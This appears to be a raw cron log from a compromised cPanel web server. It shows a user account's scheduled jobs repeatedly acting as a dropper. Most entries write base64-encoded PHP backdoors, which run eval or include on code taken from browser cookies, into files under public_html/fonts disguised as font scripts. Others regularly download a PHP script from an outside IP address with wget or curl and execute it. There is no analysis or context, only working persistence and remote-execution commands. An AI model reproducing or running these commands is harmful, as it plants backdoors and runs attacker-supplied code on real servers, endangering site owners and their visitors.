Sep 10 09:47:01 ip-184-168-122-23 CROND[13662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:48:01 ip-184-168-122-23 CROND[13780]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:48:01 ip-184-168-122-23 CROND[13782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:48:01 ip-184-168-122-23 CROND[13781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:48:01 ip-184-168-122-23 CROND[13786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:48:01 ip-184-168-122-23 CROND[13789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:49:02 ip-184-168-122-23 CROND[13905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:49:02 ip-184-168-122-23 CROND[13908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:49:02 ip-184-168-122-23 CROND[13907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:49:02 ip-184-168-122-23 CROND[13910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:50:01 ip-184-168-122-23 CROND[14013]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 09:50:01 ip-184-168-122-23 CROND[14015]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 09:50:01 ip-184-168-122-23 CROND[14018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:50:02 ip-184-168-122-23 CROND[14026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:50:02 ip-184-168-122-23 CROND[14027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:50:02 ip-184-168-122-23 CROND[14023]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:50:02 ip-184-168-122-23 CROND[14025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:50:02 ip-184-168-122-23 CROND[14028]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:50:02 ip-184-168-122-23 CROND[14029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:51:01 ip-184-168-122-23 CROND[14182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:51:01 ip-184-168-122-23 CROND[14186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:51:01 ip-184-168-122-23 CROND[14184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:51:01 ip-184-168-122-23 CROND[14185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:52:01 ip-184-168-122-23 CROND[14391]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:52:01 ip-184-168-122-23 CROND[14393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:52:01 ip-184-168-122-23 CROND[14395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:52:01 ip-184-168-122-23 CROND[14396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:52:01 ip-184-168-122-23 CROND[14394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:53:01 ip-184-168-122-23 CROND[14510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:53:01 ip-184-168-122-23 CROND[14509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:53:01 ip-184-168-122-23 CROND[14511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:53:01 ip-184-168-122-23 CROND[14512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:54:01 ip-184-168-122-23 CROND[14624]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:54:01 ip-184-168-122-23 CROND[14627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:54:01 ip-184-168-122-23 CROND[14628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:54:01 ip-184-168-122-23 CROND[14626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:54:01 ip-184-168-122-23 CROND[14629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:55:01 ip-184-168-122-23 CROND[14755]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:55:01 ip-184-168-122-23 CROND[14756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:55:01 ip-184-168-122-23 CROND[14758]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:55:01 ip-184-168-122-23 CROND[14759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:55:01 ip-184-168-122-23 CROND[14757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:55:01 ip-184-168-122-23 CROND[14762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:56:01 ip-184-168-122-23 CROND[14888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:56:01 ip-184-168-122-23 CROND[14890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:56:01 ip-184-168-122-23 CROND[14893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:56:01 ip-184-168-122-23 CROND[14892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:56:01 ip-184-168-122-23 CROND[14894]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:57:01 ip-184-168-122-23 CROND[15017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:57:01 ip-184-168-122-23 CROND[15015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:57:01 ip-184-168-122-23 CROND[15016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:57:01 ip-184-168-122-23 CROND[15014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:58:01 ip-184-168-122-23 CROND[15151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:58:01 ip-184-168-122-23 CROND[15150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:58:01 ip-184-168-122-23 CROND[15154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:58:01 ip-184-168-122-23 CROND[15155]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:58:01 ip-184-168-122-23 CROND[15157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:59:01 ip-184-168-122-23 CROND[15353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:59:01 ip-184-168-122-23 CROND[15357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:59:01 ip-184-168-122-23 CROND[15358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:59:01 ip-184-168-122-23 CROND[15360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:00:01 ip-184-168-122-23 CROND[15478]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 10:00:01 ip-184-168-122-23 CROND[15479]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
